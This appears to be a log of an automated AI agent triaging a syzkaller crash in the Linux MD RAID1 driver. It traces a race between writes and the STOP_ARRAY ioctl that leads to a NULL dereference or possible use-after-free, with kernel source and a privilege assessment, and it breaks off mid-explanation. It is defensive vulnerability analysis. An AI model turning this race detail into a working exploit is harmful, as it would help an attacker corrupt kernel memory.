- Instruction: Checking KASAN shadow address `0xdffffc0000000024` for memory access `conf->nr_pending` (offset `0x120` in `struct r1conf`).
- Analysis showed `conf` (`mddev->private`) is NULL (0x0 + offset 0x120 = 0x120).
- **Mechanism / Root Cause Analysis**:
- The syzkaller reproducer concurrently issues `pwrite()` on an MD RAID1 block device while another thread executes `ioctl(md_fd, STOP_ARRAY, 0)`.
- `md_ioctl(STOP_ARRAY)` validates `capable(CAP_SYS_ADMIN)` (in `md_ioctl_valid()`), takes `mddev_lock()` (does NOT call `mddev_suspend_and_lock()`), and calls `do_md_stop(mddev, 0)`.
- `do_md_stop()` calls `__md_stop_writes(mddev)` and `__md_stop(mddev)`.
- `__md_stop()` sets `mddev->pers = NULL`, frees `mddev->private` via `pers->free(mddev, mddev->private)`, and sets `mddev->private = NULL`.
- Concurrently, incoming bio in `md_handle_request()` gets a reference to `mddev->active_io` (which was not killed/waited on during `do_md_stop`), checks `mddev->pers`, and calls `mddev->pers->make_request()`.
- In `raid1_make_request()`, `raid1_write_request()` reads `struct r1conf *conf = mddev->private;`.
- If `mddev->private` was just set to `NULL` by `__md_stop()`, `conf` is NULL, leading to NULL dereference in `wait_barrier(conf, sector)`.
- If `mddev->private` was read before `pers->free()` freed `conf` and `conf` is freed before access, it can result in a Use-After-Free (UAF) of `struct r1conf`.
- **Capability Requirements**:
- `md_ioctl_valid()` checks `if (!capable(CAP_SYS_ADMIN)) return -EACCES;` for `STOP_ARRAY`, `RUN_ARRAY`, `ADD_NEW_DISK`, `SET_ARRAY_INFO`, etc.
- Creating MD device nodes (`mknod`) or opening `/dev/loop-control` and configuring loop devices requires root / `CAP_SYS_ADMIN` in the initial namespace (or specific device permissions). MD ioctl operations check `capable(CAP_SYS_ADMIN)` against the initial user namespace (`capable()`, not `ns_capable()`).
- **Repetitive Tool Calls Note**:
- A loop occurred repeatedly calling `codesearch-definition-source` for functions like `setup_conf`, `md_ioctl`, `md_run`, `mddev_detach`, etc. Avoid re-querying definitions that are already in history.
---
#### 2. Current Hypotheses & Security Assessment Dimensions
1. **Exploitability**:
- The crash report manifests as a near-NULL pointer dereference at offset `0x120` (`conf->nr_pending`).
- However, the underlying race is a concurrent teardown between `md_handle_request()` and `__md_stop()`. Thread 1 reads `mddev->private` while Thread 2 calls `pers->free(mddev, mddev->private)` and sets `mddev->private = NULL`. Depending on thread timing, `conf` can either be read after being set to NULL (NULL deref crash) or read before `pers->free()` and dereferenced after `kfree(conf)` (Use-After-Free).
- Because `struct r1conf` is allocated via `kzalloc_obj(struct r1conf)` and freed via `kfree(conf)` in `raid1_free()`, a race window exists where `conf` is accessed post-free, making memory corruption / Use-After-Free theoretically possible (though practically racing a quick NULL pointer deref / crash).
2. **Denial of Service (DoS)**:
- Yes: Triggers kernel crash (GPF / null-ptr-deref panic).
3. **Accessibility**:
- **Unprivileged Processes**: No. `md_ioctl()` enforces `capable(CAP_SYS_ADMIN)` for `SET_ARRAY_INFO`, `ADD_NEW_DISK`, `RUN_ARRAY`, and `STOP_ARRAY`.
- **User Namespaces**: No. The checks use `capable(CAP_SYS_ADMIN)` (init namespace capability), not `ns_capable()`. Block device creation (`mknod`) and loop device configuration also require init-ns privileges.
- **VM Guest Trigger**: No (host block layer / md is not directly guest-accessible unless exposed via virtual block device or hypercall).
- **VM Host Trigger (Confidential Computing)**: No.
- **Network / Peripheral / Filesystem Triggers**: No (not reachable via Ethernet, Wifi/BT, USB peripheral insertion, or filesystem mount alone).
---
#### 3. Key File Paths and Code Snippets
- `drivers/md/raid1.c`:
```c
static void _wait_barrier(struct r1conf *conf, int idx)
{
atomic_inc(&conf->nr_pending[idx]); // Line 1066: Crash here when conf is NULL (offset 0x120)
smp_mb__after_atomic();
if (!READ_ONCE(conf->array_frozen) &&
!atomic_read(&conf->barrier[idx]))
return;
...
}
static bool raid1_write_request(struct mddev *mddev, struct bio *bio, int max_sectors)
{
struct r1conf *conf = mddev->private;
...
wait_barrier(conf, sector); // passes NULL conf
...
}
```
- `drivers/md/md.c`:
```c
static void __md_stop(struct mddev *mddev)
{
struct md_personality *pers = mddev->pers;
mddev_detach(mddev);
md_bitmap_destroy(mddev);
spin_lock(&mddev->lock);
mddev->pers = NULL;
spin_unlock(&mddev->lock);
if (mddev->private)
pers->free(mddev, mddev->private);
mddev->private = NULL;
put_pers(pers);
clear_bit(MD_RECOVERY_FROZEN, &mddev->recovery);
}
static inline int md_ioctl_valid(unsigned int cmd)
{
switch (cmd) {
case GET_ARRAY_INFO:
case GET_DISK_INFO:
case RAID_VERSION:
return 0;
case ADD_NEW_DISK:
case GET_BITMAP_FILE:
case HOT_ADD_DISK:
case HOT_REMOVE_DISK:
case RESTART_ARRAY_RW:
case RUN_ARRAY:
case SET_ARRAY_INFO:
case SET_BITMAP_FILE:
case SET_DISK_FAULTY:
case STOP_ARRAY:
case STOP_ARRAY_RO:
case CLUSTERED_DISK_NACK:
if (!capable(CAP_SYS_ADMIN))
return -EACCES;
return 0;
default:
return -ENOTTY;
}
}
```
- `drivers/md/raid1.h`:
```c
struct r1conf {
struct mddev *mddev;
struct raid1_info *mirrors;
int raid_disks;
int nonrot_disks;
spinlock_t device_lock;
...
atomic_t *nr_pending; // Offset 288 (0x120)
...
};
```
Tokens:
input: 157961
output: 2005
thoughts: 96
|
| 365/2 |
2026/08/26 10:51 |
llm |
expert |
0m
Model:
Tokens:
input: 34566
output: 23
thoughts: 0
|
| 366/2 |
2026/08/26 10:51 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:7158: /* mode:
7159: * 0 - completely stop and dis-assemble array
7160: * 2 - stop but do not disassemble array
7161: */
7162: static int do_md_stop(struct mddev *mddev, int mode)
7163: {
7164: struct gendisk *disk = mddev->gendisk;
7165: struct md_rdev *rdev;
7166: int did_freeze = 0;
7167:
7168: if (!test_bit(MD_RECOVERY_FROZEN, &mddev->recovery)) {
7169: did_freeze = 1;
7170: set_bit(MD_RECOVERY_FROZEN, &mddev->recovery);
7171: }
7172:
7173: stop_sync_thread(mddev, true);
7174:
7175: if (mddev->sysfs_active ||
7176: test_bit(MD_RECOVERY_RUNNING, &mddev->recovery)) {
7177: pr_warn("md: %s still in use.\n",mdname(mddev));
7178: if (did_freeze) {
7179: clear_bit(MD_RECOVERY_FROZEN, &mddev->recovery);
7180: set_bit(MD_RECOVERY_NEEDED, &mddev->recovery);
7181: }
7182: return -EBUSY;
7183: }
7184: if (mddev->pers) {
7185: if (!md_is_rdwr(mddev))
7186: set_disk_ro(disk, 0);
7187:
7188: if (mode == 2 && mddev->pers->sync_request &&
7189: mddev->to_remove == NULL)
7190: mddev->to_remove = &md_redundancy_group;
7191:
7192: __md_stop_writes(mddev);
7193: __md_stop(mddev);
7194:
7195: /* tell userspace to handle 'inactive' */
7196: sysfs_notify_dirent_safe(mddev->sysfs_state);
7197:
7198: rdev_for_each(rdev, mddev)
7199: if (rdev->raid_disk >= 0)
7200: sysfs_unlink_rdev(mddev, rdev);
7201:
7202: set_capacity_and_notify(disk, 0);
7203: mddev->changed = 1;
7204:
7205: if (!md_is_rdwr(mddev))
7206: mddev->ro = MD_RDWR;
7207: }
7208: /*
7209: * Free resources if final stop
7210: */
7211: if (mode == 0) {
7212: pr_info("md: %s stopped.\n", mdname(mddev));
7213:
7214: if (mddev->bitmap_info.file) {
7215: struct file *f = mddev->bitmap_info.file;
7216: spin_lock(&mddev->lock);
7217: mddev->bitmap_info.file = NULL;
7218: spin_unlock(&mddev->lock);
7219: fput(f);
7220: }
7221: mddev->bitmap_info.offset = 0;
7222:
7223: export_array(mddev);
7224: md_clean(mddev);
7225: if (!legacy_async_del_gendisk)
7226: set_bit(MD_DELETED, &mddev->flags);
7227: }
7228: md_new_event();
7229: sysfs_notify_dirent_safe(mddev->sysfs_state);
7230: return 0;
7231: }
SourceFile:drivers/md/md.c]
|
| 367/2 |
2026/08/26 10:51 |
llm |
expert |
0m
Model:
Tokens:
input: 35749
output: 24
thoughts: 0
|
| 368/2 |
2026/08/26 10:51 |
tool |
codesearch-definition-source |
0m
Args: map[Name:__md_stop_writes]
Results: map[SourceCode:7032: static void __md_stop_writes(struct mddev *mddev)
7033: {
7034: timer_delete_sync(&mddev->safemode_timer);
7035:
7036: if (md_is_rdwr(mddev) || !mddev_is_dm(mddev)) {
7037: if (mddev->pers && mddev->pers->quiesce) {
7038: mddev->pers->quiesce(mddev, 1);
7039: mddev->pers->quiesce(mddev, 0);
7040: }
7041:
7042: if (md_bitmap_enabled(mddev, true))
7043: mddev->bitmap_ops->flush(mddev);
7044: }
7045:
7046: if (md_is_rdwr(mddev) &&
7047: ((!mddev->in_sync && !mddev_is_clustered(mddev)) ||
7048: mddev->sb_flags)) {
7049: /* mark array as shutdown cleanly */
7050: if (!mddev_is_clustered(mddev))
7051: mddev->in_sync = 1;
7052: md_update_sb(mddev, 1);
7053: }
7054: /* disable policy to guarantee rdevs free resources for serialization */
7055: clear_bit(MD_SERIALIZE_POLICY, &mddev->flags);
7056: mddev_destroy_serial_pool(mddev, NULL);
7057: }
SourceFile:drivers/md/md.c]
|
| 369/2 |
2026/08/26 10:52 |
llm |
expert |
0m
Model:
Tokens:
input: 36249
output: 22
thoughts: 0
|
| 370/2 |
2026/08/26 10:52 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:7084: static void __md_stop(struct mddev *mddev)
7085: {
7086: struct md_personality *pers = mddev->pers;
7087:
7088: mddev_detach(mddev);
7089: md_bitmap_destroy(mddev);
7090: spin_lock(&mddev->lock);
7091: mddev->pers = NULL;
7092: spin_unlock(&mddev->lock);
7093: if (mddev->private)
7094: pers->free(mddev, mddev->private);
7095: mddev->private = NULL;
7096: put_pers(pers);
7097: clear_bit(MD_RECOVERY_FROZEN, &mddev->recovery);
7098: }
SourceFile:drivers/md/md.c]
|
| 371/2 |
2026/08/26 10:52 |
llm |
expert |
0m
Model:
Tokens:
input: 36527
output: 23
thoughts: 0
|
| 372/2 |
2026/08/26 10:52 |
tool |
codesearch-definition-source |
0m
Args: map[Name:md_handle_request]
Results: map[SourceCode: 396: bool md_handle_request(struct mddev *mddev, struct bio *bio)
397: {
398: check_suspended:
399: if (unlikely(md_cloned_bio(mddev, bio))) {
400: /*
401: * This bio is an MD cloned bio and already holds an
402: * active_io reference, so percpu_ref_get() is safe here.
403: */
404: percpu_ref_get(&mddev->active_io);
405: } else {
406: if (is_suspended(mddev, bio)) {
407: /* Bail out if REQ_NOWAIT is set for the bio */
408: if (bio->bi_opf & REQ_NOWAIT) {
409: bio_wouldblock_error(bio);
410: return true;
411: }
412: wait_event(mddev->sb_wait, !is_suspended(mddev, bio));
413: }
414: if (!percpu_ref_tryget_live(&mddev->active_io))
415: goto check_suspended;
416: }
417: if (!mddev->pers->make_request(mddev, bio)) {
418: percpu_ref_put(&mddev->active_io);
419: if (mddev_is_dm(mddev) && mddev->pers->prepare_suspend)
420: return false;
421: goto check_suspended;
422: }
423:
424: percpu_ref_put(&mddev->active_io);
425: return true;
426: }
SourceFile:drivers/md/md.c]
|
| 373/2 |
2026/08/26 10:52 |
llm |
expert |
0m
Model:
Tokens:
input: 37073
output: 24
thoughts: 0
|
| 374/2 |
2026/08/26 10:52 |
tool |
codesearch-definition-source |
0m
Args: map[Name:raid1_make_request]
Results: map[SourceCode:1674: static bool raid1_make_request(struct mddev *mddev, struct bio *bio)
1675: {
1676: sector_t sectors;
1677:
1678: if (unlikely(bio->bi_opf & REQ_PREFLUSH)
1679: && md_flush_request(mddev, bio))
1680: return true;
1681:
1682: /*
1683: * There is a limit to the maximum size, but
1684: * the read/write handler might find a lower limit
1685: * due to bad blocks. To avoid multiple splits,
1686: * we pass the maximum number of sectors down
1687: * and let the lower level perform the split.
1688: */
1689: sectors = align_to_barrier_unit_end(
1690: bio->bi_iter.bi_sector, bio_sectors(bio));
1691:
1692: if (bio_data_dir(bio) == READ)
1693: raid1_read_request(mddev, bio, sectors, NULL);
1694: else {
1695: md_write_start(mddev, bio);
1696: if (!raid1_write_request(mddev, bio, sectors))
1697: md_write_end(mddev);
1698: }
1699: return true;
1700: }
SourceFile:drivers/md/raid1.c]
|
| 375/2 |
2026/08/26 10:52 |
llm |
expert |
0m
Model:
Tokens:
input: 37533
output: 24
thoughts: 0
|
| 376/2 |
2026/08/26 10:52 |
tool |
codesearch-definition-source |
0m
Args: map[Name:raid1_write_request]
Results: map[SourceCode:1479: static bool raid1_write_request(struct mddev *mddev, struct bio *bio,
1480: int max_sectors)
1481: {
1482: struct r1conf *conf = mddev->private;
1483: struct r1bio *r1_bio;
1484: int i, disks, k;
1485: unsigned long flags;
1486: int first_clone;
1487: bool write_behind = false;
1488: bool atomic = bio->bi_opf & REQ_ATOMIC;
1489: bool is_discard = op_is_discard(bio->bi_opf);
1490: sector_t sector = bio->bi_iter.bi_sector;
1491:
1492: if (mddev_is_clustered(mddev) &&
1493: mddev->cluster_ops->area_resyncing(mddev, WRITE, sector,
1494: bio_end_sector(bio))) {
1495: wait_event_idle(conf->wait_barrier,
1496: !mddev->cluster_ops->area_resyncing(mddev, WRITE,
1497: sector,
1498: bio_end_sector(bio)));
1499: }
1500:
1501: /*
1502: * Register the new request and wait if the reconstruction
1503: * thread has put up a bar for new requests.
1504: * Continue immediately if no resync is active currently.
1505: */
1506: wait_barrier(conf, sector);
1507:
1508: wait_blocked_rdev(mddev, bio);
1509:
1510: r1_bio = alloc_r1bio(mddev, bio);
1511: r1_bio->sectors = max_sectors;
1512:
1513: /* first select target devices under rcu_lock and
1514: * inc refcount on their rdev. Record them by setting
1515: * bios[x] to bio
1516: * If there are known/acknowledged bad blocks on any device on
1517: * which we have seen a write error, we want to avoid writing those
1518: * blocks.
1519: * This potentially requires several writes to write around
1520: * the bad blocks. Each set of writes gets it's own r1bio
1521: * with a set of bios attached.
1522: */
1523:
1524: disks = conf->raid_disks * 2;
1525: for (i = 0; i < disks; i++) {
1526: struct md_rdev *rdev = conf->mirrors[i].rdev;
1527:
1528: /*
1529: * The write-behind io is only attempted on drives marked as
1530: * write-mostly, which means we could allocate write behind
1531: * bio later.
1532: */
1533: if (!is_discard && rdev && test_bit(WriteMostly, &rdev->flags))
1534: write_behind = true;
1535: if (atomic && max_sectors > BIO_MAX_VECS * (PAGE_SIZE >> 9))
1536: write_behind = false;
1537:
1538: r1_bio->bios[i] = NULL;
1539: if (!rdev || test_bit(Faulty, &rdev->flags))
1540: continue;
1541:
1542: if (test_bit(WriteErrorSeen, &rdev->flags)) {
1543: sector_t first_bad;
1544: sector_t bad_sectors;
1545: int is_bad;
1546:
1547: is_bad = is_badblock(rdev, sector, max_sectors,
1548: &first_bad, &bad_sectors);
1549: if (is_bad && first_bad <= sector) {
1550: /* Cannot write here at all */
1551: bad_sectors -= (sector - first_bad);
1552: if (bad_sectors < max_sectors)
1553: /* mustn't write more than bad_sectors
1554: * to other devices yet
1555: */
1556: max_sectors = bad_sectors;
1557: continue;
1558: }
1559: if (is_bad) {
1560: int good_sectors;
1561:
1562: good_sectors = first_bad - sector;
1563: if (good_sectors < max_sectors)
1564: max_sectors = good_sectors;
1565: }
1566: }
1567:
1568: atomic_inc(&rdev->nr_pending);
1569: r1_bio->bios[i] = bio;
1570: }
1571:
1572: /*
1573: * When using a bitmap, we may call alloc_behind_master_bio below.
1574: * alloc_behind_master_bio allocates a copy of the data payload a page
1575: * at a time and thus needs a new bio that can fit the whole payload
1576: * this bio in page sized chunks.
1577: */
1578: if (write_behind && mddev->bitmap)
1579: max_sectors = min_t(int, max_sectors,
1580: BIO_MAX_VECS * (PAGE_SIZE >> 9));
1581: if (max_sectors < bio_sectors(bio)) {
1582: if (atomic) {
1583: bio_io_error(bio);
1584: goto err_dec_pending;
1585: }
1586:
1587: bio = bio_submit_split_bioset(bio, max_sectors,
1588: &conf->bio_split);
1589: if (!bio)
1590: goto err_dec_pending;
1591:
1592: r1_bio->master_bio = bio;
1593: r1_bio->sectors = max_sectors;
1594: }
1595:
1596: md_account_bio(mddev, &bio);
1597: r1_bio->master_bio = bio;
1598: atomic_set(&r1_bio->remaining, 1);
1599: atomic_set(&r1_bio->behind_remaining, 0);
1600:
1601: first_clone = 1;
1602:
1603: for (i = 0; i < disks; i++) {
1604: struct bio *mbio = NULL;
1605: struct md_rdev *rdev = conf->mirrors[i].rdev;
1606: if (!r1_bio->bios[i])
1607: continue;
1608:
1609: if (first_clone) {
1610: if (write_behind)
1611: raid1_start_write_behind(mddev, r1_bio, bio);
1612: first_clone = 0;
1613: }
1614:
1615: if (r1_bio->behind_master_bio) {
1616: mbio = bio_alloc_clone(rdev->bdev,
1617: r1_bio->behind_master_bio,
1618: GFP_NOIO, &mddev->bio_set);
1619: if (test_bit(CollisionCheck, &rdev->flags))
1620: wait_for_serialization(rdev, r1_bio);
1621: if (test_bit(WriteMostly, &rdev->flags))
1622: atomic_inc(&r1_bio->behind_remaining);
1623: } else {
1624: mbio = bio_alloc_clone(rdev->bdev, bio, GFP_NOIO,
1625: &mddev->bio_set);
1626:
1627: if (test_bit(MD_SERIALIZE_POLICY, &mddev->flags))
1628: wait_for_serialization(rdev, r1_bio);
1629: }
1630:
1631: r1_bio->bios[i] = mbio;
1632:
1633: mbio->bi_iter.bi_sector = sector + rdev->data_offset;
1634: mbio->bi_end_io = raid1_end_write_request;
1635: if (test_bit(FailFast, &rdev->flags) &&
1636: !test_bit(WriteMostly, &rdev->flags) &&
1637: conf->raid_disks - mddev->degraded > 1)
1638: mbio->bi_opf |= MD_FAILFAST;
1639: mbio->bi_private = r1_bio;
1640:
1641: atomic_inc(&r1_bio->remaining);
1642: mddev_trace_remap(mddev, mbio, sector);
1643: /* flush_pending_writes() needs access to the rdev so...*/
1644: mbio->bi_bdev = (void *)rdev;
1645: if (!raid1_add_bio_to_plug(mddev, mbio, raid1_unplug, disks)) {
1646: spin_lock_irqsave(&conf->device_lock, flags);
1647: bio_list_add(&conf->pending_bio_list, mbio);
1648: spin_unlock_irqrestore(&conf->device_lock, flags);
1649: md_wakeup_thread(mddev->thread);
1650: }
1651: }
1652:
1653: r1_bio_write_done(r1_bio);
1654:
1655: /* In case raid1d snuck in to freeze_array */
1656: wake_up_barrier(conf);
1657:
1658: return true;
1659:
1660: err_dec_pending:
1661: for (k = 0; k < i; k++) {
1662: if (r1_bio->bios[k]) {
1663: rdev_dec_pending(conf->mirrors[k].rdev, mddev);
1664: r1_bio->bios[k] = NULL;
1665: }
1666: }
1667:
1668: free_r1bio(r1_bio);
1669: allow_barrier(conf, sector);
1670:
1671: return false;
1672: }
SourceFile:drivers/md/raid1.c]
|
| 377/2 |
2026/08/26 10:52 |
llm |
expert |
0m
Model:
Tokens:
input: 40630
output: 21
thoughts: 0
|
| 378/2 |
2026/08/26 10:52 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 635: struct wait_barrier {
636: struct wait_queue_entry base;
637: struct i915_active *ref;
638: };
SourceFile:drivers/gpu/drm/i915/i915_active.c]
|
| 379/2 |
2026/08/26 10:52 |
llm |
expert |
0m
Model:
Tokens:
input: 40745
output: 35
thoughts: 0
|
| 380/2 |
2026/08/26 10:52 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/md/raid1.c Name:wait_barrier]
Results: map[SourceCode:1150: static void wait_barrier(struct r1conf *conf, sector_t sector_nr)
1151: {
1152: int idx = sector_to_idx(sector_nr);
1153:
1154: _wait_barrier(conf, idx);
1155: }
SourceFile:drivers/md/raid1.c]
|
| 381/2 |
2026/08/26 10:52 |
llm |
expert |
0m
Model:
Tokens:
input: 40897
output: 22
thoughts: 0
|
| 382/2 |
2026/08/26 10:52 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:1056: static void _wait_barrier(struct r1conf *conf, int idx)
1057: {
1058: /*
1059: * We need to increase conf->nr_pending[idx] very early here,
1060: * then raise_barrier() can be blocked when it waits for
1061: * conf->nr_pending[idx] to be 0. Then we can avoid holding
1062: * conf->resync_lock when there is no barrier raised in same
1063: * barrier unit bucket. Also if the array is frozen, I/O
1064: * should be blocked until array is unfrozen.
1065: */
1066: atomic_inc(&conf->nr_pending[idx]);
1067: /*
1068: * In _wait_barrier() we firstly increase conf->nr_pending[idx], then
1069: * check conf->barrier[idx]. In raise_barrier() we firstly increase
1070: * conf->barrier[idx], then check conf->nr_pending[idx]. A memory
1071: * barrier is necessary here to make sure conf->barrier[idx] won't be
1072: * fetched before conf->nr_pending[idx] is increased. Otherwise there
1073: * will be a race between _wait_barrier() and raise_barrier().
1074: */
1075: smp_mb__after_atomic();
1076:
1077: /*
1078: * Don't worry about checking two atomic_t variables at same time
1079: * here. If during we check conf->barrier[idx], the array is
1080: * frozen (conf->array_frozen is 1), and chonf->barrier[idx] is
1081: * 0, it is safe to return and make the I/O continue. Because the
1082: * array is frozen, all I/O returned here will eventually complete
1083: * or be queued, no race will happen. See code comment in
1084: * frozen_array().
1085: */
1086: if (!READ_ONCE(conf->array_frozen) &&
1087: !atomic_read(&conf->barrier[idx]))
1088: return;
1089:
1090: /*
1091: * After holding conf->resync_lock, conf->nr_pending[idx]
1092: * should be decreased before waiting for barrier to drop.
1093: * Otherwise, we may encounter a race condition because
1094: * raise_barrer() might be waiting for conf->nr_pending[idx]
1095: * to be 0 at same time.
1096: */
1097: spin_lock_irq(&conf->resync_lock);
1098: atomic_inc(&conf->nr_waiting[idx]);
1099: atomic_dec(&conf->nr_pending[idx]);
1100: /*
1101: * In case freeze_array() is waiting for
1102: * get_unqueued_pending() == extra
1103: */
1104: wake_up_barrier(conf);
1105: /* Wait for the barrier in same barrier unit bucket to drop. */
1106:
1107: wait_event_lock_irq(conf->wait_barrier, !conf->array_frozen &&
1108: !atomic_read(&conf->barrier[idx]),
1109: conf->resync_lock);
1110:
1111: atomic_inc(&conf->nr_pending[idx]);
1112: atomic_dec(&conf->nr_waiting[idx]);
1113: spin_unlock_irq(&conf->resync_lock);
1114: }
SourceFile:drivers/md/raid1.c]
|
| 383/2 |
2026/08/26 10:52 |
llm |
expert |
0m
Model:
Tokens:
input: 41965
output: 21
thoughts: 0
|
| 384/2 |
2026/08/26 10:52 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:8342: static int md_ioctl(struct block_device *bdev, blk_mode_t mode,
8343: unsigned int cmd, unsigned long arg)
8344: {
8345: int err = 0;
8346: unsigned int noio_flags = 0;
8347: void __user *argp = (void __user *)arg;
8348: struct mddev *mddev = NULL;
8349: bool suspend;
8350:
8351: err = md_ioctl_valid(cmd);
8352: if (err)
8353: return err;
8354:
8355: /*
8356: * Commands dealing with the RAID driver but not any
8357: * particular array:
8358: */
8359: if (cmd == RAID_VERSION)
8360: return get_version(argp);
8361:
8362: /*
8363: * Commands creating/starting a new array:
8364: */
8365:
8366: mddev = bdev->bd_disk->private_data;
8367:
8368: /* Some actions do not requires the mutex */
8369: switch (cmd) {
8370: case GET_ARRAY_INFO:
8371: if (!mddev->raid_disks && !mddev->external)
8372: return -ENODEV;
8373: return get_array_info(mddev, argp);
8374:
8375: case GET_DISK_INFO:
8376: if (!mddev->raid_disks && !mddev->external)
8377: return -ENODEV;
8378: return get_disk_info(mddev, argp);
8379:
8380: case SET_DISK_FAULTY:
8381: return set_disk_faulty(mddev, new_decode_dev(arg));
8382:
8383: case GET_BITMAP_FILE:
8384: return get_bitmap_file(mddev, argp);
8385: }
8386:
8387: if (cmd == STOP_ARRAY || cmd == STOP_ARRAY_RO) {
8388: /* Need to flush page cache, and ensure no-one else opens
8389: * and writes
8390: */
8391: err = mddev_set_closing_and_sync_blockdev(mddev, 1);
8392: if (err)
8393: return err;
8394: }
8395:
8396: if (!md_is_rdwr(mddev))
8397: flush_work(&mddev->sync_work);
8398:
8399: suspend = md_ioctl_need_suspend(cmd);
8400: err = suspend ? mddev_suspend_and_lock(mddev) : mddev_lock(mddev);
8401: if (err) {
8402: pr_debug("md: ioctl lock interrupted, reason %d, cmd %d\n",
8403: err, cmd);
8404: goto out;
8405: }
8406: if (suspend)
8407: noio_flags = memalloc_noio_save();
8408:
8409: if (cmd == SET_ARRAY_INFO) {
8410: err = __md_set_array_info(mddev, argp);
8411: goto unlock;
8412: }
8413:
8414: /*
8415: * Commands querying/configuring an existing array:
8416: */
8417: /* if we are not initialised yet, only ADD_NEW_DISK, STOP_ARRAY,
8418: * RUN_ARRAY, and GET_ and SET_BITMAP_FILE are allowed */
8419: if ((!mddev->raid_disks && !mddev->external)
8420: && cmd != ADD_NEW_DISK && cmd != STOP_ARRAY
8421: && cmd != RUN_ARRAY && cmd != SET_BITMAP_FILE
8422: && cmd != GET_BITMAP_FILE) {
8423: err = -ENODEV;
8424: goto unlock;
8425: }
8426:
8427: /*
8428: * Commands even a read-only array can execute:
8429: */
8430: switch (cmd) {
8431: case RESTART_ARRAY_RW:
8432: err = restart_array(mddev);
8433: goto unlock;
8434:
8435: case STOP_ARRAY:
8436: err = do_md_stop(mddev, 0);
8437: goto unlock;
8438:
8439: case STOP_ARRAY_RO:
8440: if (mddev->pers)
8441: err = md_set_readonly(mddev);
8442: goto unlock;
8443:
8444: case HOT_REMOVE_DISK:
8445: err = hot_remove_disk(mddev, new_decode_dev(arg));
8446: goto unlock;
8447:
8448: case ADD_NEW_DISK:
8449: /* We can support ADD_NEW_DISK on read-only arrays
8450: * only if we are re-adding a preexisting device.
8451: * So require mddev->pers and MD_DISK_SYNC.
8452: */
8453: if (mddev->pers) {
8454: mdu_disk_info_t info;
8455: if (copy_from_user(&info, argp, sizeof(info)))
8456: err = -EFAULT;
8457: else if (!(info.state & (1<<MD_DISK_SYNC)))
8458: /* Need to clear read-only for this */
8459: break;
8460: else
8461: err = md_add_new_disk(mddev, &info);
8462: goto unlock;
8463: }
8464: break;
8465: }
8466:
8467: /*
8468: * The remaining ioctls are changing the state of the
8469: * superblock, so we do not allow them on read-only arrays.
8470: */
8471: if (!md_is_rdwr(mddev) && mddev->pers) {
8472: if (mddev->ro != MD_AUTO_READ) {
8473: err = -EROFS;
8474: goto unlock;
8475: }
8476: mddev->ro = MD_RDWR;
8477: sysfs_notify_dirent_safe(mddev->sysfs_state);
8478: set_bit(MD_RECOVERY_NEEDED, &mddev->recovery);
8479: /* mddev_unlock will wake thread */
8480: /* If a device failed while we were read-only, we
8481: * need to make sure the metadata is updated now.
8482: */
8483: if (test_bit(MD_SB_CHANGE_DEVS, &mddev->sb_flags)) {
8484: mddev_unlock(mddev);
8485: wait_event(mddev->sb_wait,
8486: !test_bit(MD_SB_CHANGE_DEVS, &mddev->sb_flags) &&
8487: !test_bit(MD_SB_CHANGE_PENDING, &mddev->sb_flags));
8488: mddev_lock_nointr(mddev);
8489: }
8490: }
8491:
8492: switch (cmd) {
8493: case ADD_NEW_DISK:
8494: {
8495: mdu_disk_info_t info;
8496: if (copy_from_user(&info, argp, sizeof(info)))
8497: err = -EFAULT;
8498: else
8499: err = md_add_new_disk(mddev, &info);
8500: goto unlock;
8501: }
8502:
8503: case CLUSTERED_DISK_NACK:
8504: if (mddev_is_clustered(mddev))
8505: mddev->cluster_ops->new_disk_ack(mddev, false);
8506: else
8507: err = -EINVAL;
8508: goto unlock;
8509:
8510: case HOT_ADD_DISK:
8511: err = hot_add_disk(mddev, new_decode_dev(arg));
8512: goto unlock;
8513:
8514: case RUN_ARRAY:
8515: err = do_md_run(mddev);
8516: goto unlock;
8517:
8518: case SET_BITMAP_FILE:
8519: err = set_bitmap_file(mddev, (int)arg);
8520: goto unlock;
8521:
8522: default:
8523: err = -EINVAL;
8524: goto unlock;
8525: }
8526:
8527: unlock:
8528: if (mddev->hold_active == UNTIL_IOCTL &&
8529: err != -EINVAL)
8530: mddev->hold_active = 0;
8531:
8532: if (suspend) {
8533: memalloc_noio_restore(noio_flags);
8534: mddev_unlock_and_resume(mddev);
8535: } else {
8536: mddev_unlock(mddev);
8537: }
8538:
8539: out:
8540: if (cmd == STOP_ARRAY_RO || (err && cmd == STOP_ARRAY))
8541: clear_bit(MD_CLOSING, &mddev->flags);
8542: return err;
8543: }
SourceFile:drivers/md/md.c]
|
| 385/2 |
2026/08/26 10:52 |
llm |
expert |
0m
Model:
Tokens:
input: 44886
output: 26
thoughts: 0
|
| 386/2 |
2026/08/26 10:52 |
tool |
codesearch-definition-source |
0m
Args: map[Name:md_ioctl_need_suspend]
Results: map[SourceCode:8294: static bool md_ioctl_need_suspend(unsigned int cmd)
8295: {
8296: switch (cmd) {
8297: case ADD_NEW_DISK:
8298: case HOT_ADD_DISK:
8299: case HOT_REMOVE_DISK:
8300: case SET_BITMAP_FILE:
8301: case SET_ARRAY_INFO:
8302: return true;
8303: default:
8304: return false;
8305: }
8306: }
SourceFile:drivers/md/md.c]
|
| 387/2 |
2026/08/26 10:52 |
llm |
expert |
0m
Model:
Tokens:
input: 45099
output: 66
thoughts: 0
|
| 388/2 |
2026/08/26 10:52 |
tool |
set-results |
0m
Args: map[DenialOfService:true Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:false VMHostTrigger:false]
Results: map[DenialOfService:true Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:false VMHostTrigger:false]
|
| 389/2 |
2026/08/26 10:52 |
llm |
expert |
0m
Model:
Tokens:
input: 45229
output: 1233
thoughts: 0
|
| 390/1 |
2026/08/26 10:53 |
action |
format-explanation |
0m
Results: map[Explanation:I have analyzed the bug report and the provided source code.
### Bug Mechanism
The bug is a race condition between an incoming I/O request (`pwrite64`) and the
`STOP_ARRAY` ioctl on an MD RAID1 device.
1. **Thread 1 (I/O):**
